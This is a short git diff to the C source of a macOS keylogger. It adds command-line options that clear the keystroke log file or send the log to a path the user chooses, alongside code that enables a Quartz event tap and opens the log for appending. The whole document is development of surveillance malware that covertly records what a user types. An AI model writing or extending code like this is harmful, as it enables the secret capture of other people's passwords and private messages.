diff --git a/keylogger.c b/keylogger.c index a368322..c3301aa 100644 --- a/keylogger.c +++ b/keylogger.c @@ -19,6 +19,15 @@ int main(int argc, const char *argv[]) { CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); CGEventTapEnable(eventTap, true); + // Clear the logfile if clear argument used or log to specific file if given. + if(argc == 2) { + if(strcmp(argv[1], "clear") == 0) { + fopen(logfileLocation, "w"); + } else { + logfileLocation = argv[1]; + } + } + // Get the current time and open the logfile. time_t result = time(NULL); logfile = fopen(logfileLocation, "a"); diff --git a/keylogger.h b/keylogger.h index 65667e2..d7abd41 100644 --- a/keylogger.h +++ b/keylogger.h @@ -3,6 +3,7 @@ #include #include +#include #include #include // https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html